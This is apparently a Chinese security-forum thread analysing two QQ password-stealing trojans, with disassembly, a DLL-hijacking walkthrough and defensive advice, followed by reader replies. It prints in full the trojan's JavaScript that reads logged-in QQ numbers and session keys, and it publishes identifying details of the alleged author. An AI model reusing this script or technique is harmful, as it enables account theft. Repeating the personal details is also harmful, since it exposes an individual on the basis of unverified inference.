Hyabcd 发表于 2016-4-3 08:27

两款“qq粘虫”木马分析

本帖最后由 Hyabcd 于 2016-4-7 19:00 编辑

一、样本简介

样本来源:   http://www.52pojie.cn/thread-480487-1-1.html
                   http://www.52pojie.cn/thread-471184-1-1.html
    “qq粘虫”木马是一款以盗取qq密码为主要目的的木马程序。在2011年左右最先被发现,由于具有相当强的免杀能力被一些人称为“毒王”。“qq粘虫”的主要特点就是功能专一性极高,只进行盗号工作而不涉及其他方面,因此无法捕捉到注册表操作或者文件操作。除此之外,“qq粘虫”盗号的方式极为精巧和简洁,只通过发送数据包的方式进行盗取密码的发送,和普通的可联网的软件没有差别。近来,“qq粘虫”呈现爆发趋势,利用“白加黑”等方式的变种也出现在人们的视野中,本文章将对最近出现的几款“qq粘虫”进行分析。
    本文分析的两个样本代表两种不同的“qq粘虫”----1.盗取qq key的”qq粘虫“;2.利用”白加黑“方式的定向”qq粘虫“。如今,”qq粘虫“的易语言源码已经开源,更多的黑产从业者利用这一机会对”qq粘虫“进行改造,本文分析的”qq粘虫“基本基于相同的易语言框架。


二、样本分析

(一)盗取qq key的”qq粘虫“分析


   样本来源:   http://www.52pojie.cn/thread-480487-1-1.html
   样本名称: 123.exe
   壳信息:无壳

    该样本来自于个人作者而非黑产团伙,因此框架中的许多部分被删除,只保留两部分用来进行盗取工作,一部分用于创建伪造的qq窗口(可能为老框架下保留的功能),另一部分就是qq key的盗取部分。如下图所示。

    在伪造窗口函数中运用相应的资源进行窗口的绘制,绘制出的伪造窗口如下图所示。

    由于”qq粘虫“使用伪造窗口进行盗号是基于用户已经登陆qq的情况下,因此作者除了进行伪造窗口之外还进行qq key的盗取。qq key是qq一个不固定的密码,也被称为qq的另一个密码,拥有qq key可以登录相应qq的邮箱,空间等个人空间,也可以利用qq key进行好友获取,qq群管理等。一些qq批量管理软件就是利用qq key进行操作,因此qq key也被盗号者重点关注。
    盗取qq key的主要流程如下。
    首先进行COM组件的初始化,便于过后调用。
004020E5|.51            push ecx
004020E6|.68 78B04700   push 123.0047B078
004020EB|.6A 17         push 0x17
004020ED|.8D55 DC       lea edx,
004020F0|.6A 00         push 0x0
004020F2|.52            push edx
004020F3|.FFD7          call edi                                 ;ole32.CoCreateInstance; <&ole32.CoCreateInstance>

    然后初始化空间宿主代码
0041BD51   .E8 DAFFFFFF   call 123.0041BD30
0041BD56   .83C4 04       add esp,0x4
0041BD59   .- FFE0          jmp eax                                  ;atl.AtlAxWinInit

    创建基于atl模版类的窗口,窗口可用于承载IE的相关组件的操作。如下图所示。

    利用IE的webbrowser组件对一些相关的类进行初始化,类名包括silent,readystate等等,可以判断这些类用来指示某个状态。并根据类的不同执行不同功能。
00402857|.FF11          call dword ptr ds:                  ;CUnkInner::QueryInterface:
00402859|.85C0          test eax,eax
0040285B|.7D 0C         jge short 123.00402869
0040285D|.C745 FC FEFFF>mov ,-0x2
00402864|.E9 D6080000   jmp 123.0040313F
00402869|>FF15 34234700 call dword ptr ds:[<&KERNEL32.GetUserDef>; [GetUserDefaultLCID
0040286F|.8BD8          mov ebx,eax
00402871|.8B45 EC       mov eax,
00402874|.8D55 F8       lea edx,
00402877|.895D AC       mov ,ebx
0040287A|.8B08          mov ecx,dword ptr ds:               ;shdocvw.7E55D980
0040287C|.52            push edx
0040287D|.53            push ebx
0040287E|.56            push esi
0040287F|.50            push eax
00402880|.FF51 10       call dword ptr ds:             ;CWebBrowserOC::GetTypeInfo:


    利用webbrowser组件执行Javascript代码。
00402FF2|.68 D8B04700   push 123.0047B0D8
00402FF7|.52            push edx
00402FF8|.50            push eax
00402FF9|.FF51 18       call dword ptr ds:             ;CWebBrowserOC::Invoke:

    javascript代码如下。
document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text="";var q_hummerQtrl=null;var g_vOptData=null;
if(window.ActiveXObject)
{try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray("PTALIST");
var f=V.GetSize();
var H=$("list_uin");
for(var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord("dwSSO_Account_dwAccountUin");
var U=E.GetStr("strSSO_Account_strNickName");
var G=E.GetBuf("bufST_PTLOGIN");
var A=G.GetSize();var N="";
for(var Y=0;Y<A;Y++)
{var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};
    这段javascript代码的作用就是获得已登录qq的号码以及相应的key。为何jiavascript可以获取本地的qq号码和qqkey呢?我们发现这个链接http://xui.ptlogin2.qq.com/cgi-bin/qlogin可以显示当前已登录的用户,而在这个网页中就存在一个用于获取这些信息的js脚本,木马程序中的js脚本也是效仿该脚本实现的,是利用了异构系统单点登录 SSO(single-sign-on)技术,见http://www.360doc.com/content/13/1018/17/6692427_322396952.shtml
    利用js脚本获取到的包含qq号和qqkey的数据如下所示。

    将获取的数据用smtp协议发送到指定邮箱。
00401241|.68 8E404700   |push 123.0047408E                     ;\r\nkey收信提示
00401246|.8B5D EC       |mov ebx,
00401249|.FF33          |push dword ptr ds:
0040124B|.68 9C404700   |push 123.0047409C                     ;\r\nQQkey:
00401250|.8B5D F0       |mov ebx,
00401253|.FF33          |push dword ptr ds:
00401255|.68 A6404700   |push 123.004740A6                     ;\r\n昵称:
0040125A|.8B5D F4       |mov ebx,                     ;kernel32.7C839AC0
0040125D|.FF33          |push dword ptr ds:
0040125F|.68 AE404700   |push 123.004740AE                     ;QQ号码:
00401264|.B9 07000000   |mov ecx,0x7
00401269|.E8 21FEFFFF   |call 123.0040108F



    以上就是盗取qq key的”qq粘虫“的简单分析,可以看出,该木马通过COM组件利用webbrowser接口执行特定的javascript来获取qqkey,当一个正当获取已登录qq状态的方法被恶意使用时就成了盗号的帮手。在数据的发送方式上除了使用smtp协议发送邮件的方式外还可以使用普通的http协议发包,一般情况下,黑产团伙倾向于后者,而个人作者倾向于前者。




(二)利用”白加黑“方式的定向”qq粘虫“分析

   样本来源: http://www.52pojie.cn/thread-471184-1-1.html
   样本名称: 关键词.exe
   壳信息:Themida 1.x-2.x

   该木马是一款定向攻击的木马,专门针对淘宝商家。该木马伪装成刷单的关键词,实际上是一个盗取qq号的”qq粘虫“。在作用方式上,该木马区别于之前其他的”qq粘虫“,利用”白加黑“的方式,劫持qt语言的相关对话框处理的dll,当用户打开qt语音的登录框之后,输入的帐号和密码将被木马捕获发送到指定地址。以下将对该”qq粘虫“进行分析。
    木马的前半部分依然保留老版粘虫的特点,创建一个伪造的窗口。不过这些功能都没有在这个版本中实现,可能是作者利用老版框架时没有删去相关代码。从文件中可以发现一些gdi创建窗口的相关函数。

而从文件中可以提取到一些敏感图片如下所示。


    由此可以看出,该程序依然保留老版伪造窗口的特性,只不过在这个版本并没有启用,却而代之的是利用dll劫持的方式进行盗号操作。
    程序在c盘中释放XDS27ELP.ini,主要功能由它来执行,其实这个ini文件的本质是dll,主程序将对它进行动态调用。

    打开注册表键HKLM\SOFTWARE\Tencent\QT,判断计算机中是否存在qt语音。
029CDFE1    52            push edx
029CDFE2    68 19000200   push 0x20019
029CDFE7    57            push edi
029CDFE8    50            push eax ;SOFTWARE\Tencent\QT
029CDFE9    51            push ecx;HKLM
029CDFEA    FF15 0C60A502   call dword ptr ds:[<&ADVAPI32.RegOpenKey>; advapi32.RegOpenKeyExA

    查看该键isntall键,判断qt语音是否已经安装。如果已经安装,则读该键键值获得安装路径。
029CE00D    52            push edx
029CE00E    8B5424 14       mov edx,dword ptr ss:
029CE012    57            push edi
029CE013    50            push eax
029CE014    57            push edi
029CE015    51            push ecx                                 ;”install“
029CE016    52            push edx
029CE017    89BC24 9C000000 mov dword ptr ss:,edi
029CE01E    FFD3            call ebx                                 ; advapi32.RegQueryValueExA

    获得安装路径后,将路径下的DataReport.dll修改为以old+随机数为名的文件,并用自身(XDS27ELP.ini)替换旧的dll。
029CCD39    51            push ecx ;修改后的路径和名称
029CCD3A    52            push edx ;DataReport.dll路径
029CCD3B    FF15 6063A502   call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA
029CCD39    51            push ecx ;DataReport.dll路径
029CCD3A    52            push edx ;自身路径
029CCD3B    FF15 6063A502   call dword ptr ds:[<&KERNEL32.MoveFileA>>; kernel32.MoveFileA

    在伪造的dll中,无关的导出函数已经被清空,只保留一些与登录相关的函数。

    由于qt的登录操作需要该dll,因此帐号密码的输入也被定向到该dll中。dll调用GetWindowText获取输入框的内容,从而窃取到用户帐号和密码。

    然后将帐号和密码发送到指定服务器。
           

    最后打开写字板,显示一些刷单信息,让受害者信以为真。


    通过对该域名的whois查询可得知木马持有者qq号码。

    通过查找群关系可以得知该号码主人来自福建省漳州市云霄县。除了此号码外总共有三个号码进行木马销售,其中有一个号码是通过盗号所得。

    通过深入调查得知木马持有者姓名为朱某荣,酷爱重型机车,在贴吧上频繁进行重型机车的交易请求,活动范围在福建漳州,可能为某茶艺学校13级毕业生。下图为他的腾讯微博。

    而从网上的信息可以看出该作者已经实施过多起盗号诈骗,目标都是淘宝卖家。可以看出这是个小型的黑产团伙。




三、总结及相关防范
”qq粘虫“木马由于作用简单,功能专一,隐蔽性高,对系统敏感函数没有进行调用,因此容易被杀软忽视。为了防止”qq粘虫“盗取帐号密码,最好的方法是增强自身的防范意识,对于以exe为后缀,冠以诸如某某清单,某某价格表之类的伪造文件应该加以防范而不能随意双击,若文件类型被隐藏可通过修改文件夹选项中相应内容(如图)来得知真实的文件类型。




四、后续

qq粘虫专杀工具已完成,专门针对传统版本伪造qq登陆窗口的qq粘虫。附件密码:52pojie

   
































翼风Fly 发表于 2016-4-3 22:50

Hyabcd 发表于 2016-4-3 22:06
像这种盗取qq key的也是很难解决,因为TX那边也需要这样来获取号码的登陆情况,只能说以后遇到相关的行为 ...

这大概也是tx在用户体验与突破沙箱及安全考虑上的平衡吧。。。。。
话说,Chrome和Firefox不是放弃古老的NPAPI以及XPCOM了吗(Chrome45后彻底永久放弃),那篇文章是不是有点过时了。。。?
在Chrom45以下进入chrome://plugins/,可见到:
Tencent SSO Platform - 版本: 1.0.1.16
QQ QuickLogin Helper
名字:        Tencent SSO Platform
说明:        QQ QuickLogin Helper
版本:        1.0.1.16
位置:        C:\Program Files (x86)\Common Files\Tencent\TXSSO\1.2.4.1\Bin\npSSOAxCtrlForPTLogin.dll
类型:        NPAPI
MIME 类型:       
MIME 类型        说明        文件扩展名
application/nptxsso        TXSSO       
Chrome46输入chrome://plugins/,在我的Win10下只有这几项:Widevine Content Decryption Module - 版本: 1.4.8.824类型:        PPAPI(进程外插件)Native Client
类型:        PPAPI(进程中插件)

Adobe Flash Player - 版本: 20.0.0.286
Shockwave Flash 20.0 r0
类型:        PPAPI(进程外插件)

Chrome PDF Viewer (2 files)
类型:        浏览器插件
类型:        PPAPI(进程外插件)

还没仔细看TX的代码,不太清楚是如何在46以上绕开沙箱正常使用自动登陆的
也许Chrome、FireFox、Edge在技术上的推动也可以一定程度上缓解这个问题吧
粘虫应该会紧跟利用TX绕开沙箱的举措,技术上的推进可能只是会让当前开源的粘虫版本失效吧。问题的来源与解决还是要看TX了
呃。。。毕竟在这方面是小白,难免扯错。。。

Hyabcd 发表于 2016-4-15 12:45

dingk 发表于 2016-4-15 10:13
分析的很好啊,我去年写过特征码去拦截这个了。但是最近有混淆过的JS还在流行,总也查杀不净,不知你可有建 ...

感觉混淆js盗取qqkey不是很好处理,,因为腾讯那边也有好多软件在用相同的方法获取qqkey,如果按这特征容易误报,我感觉这一类的基本用易语言写的,暂时还没发现其他的,如果对调用这方法的软件进行甄别,看是不是存在易语言的特征,如果是的话进行查杀。我能想到的就这了,感觉也不是很好。

az523673773 发表于 2016-4-3 08:42

不明觉厉{:1_921:}

我是一个小白 发表于 2016-4-3 08:43

分析很详细容易看懂

hyiok123 发表于 2016-4-3 08:54

感谢分享,学习了

101328236 发表于 2016-4-3 09:05

看不懂。。。。。

此处有人 发表于 2016-4-3 09:20

感觉然并卵

楚轩 发表于 2016-4-3 09:40

火前留名

scarletF 发表于 2016-4-3 09:45

功能少比较难查

mmaaiiooo 发表于 2016-4-3 09:55

好详细的分析,值得赞一个

丶小明 发表于 2016-4-3 10:16

谢谢楼主分享,学习长知识了
页: [1] 2 3 4 5
查看完整版本: 两款“qq粘虫”木马分析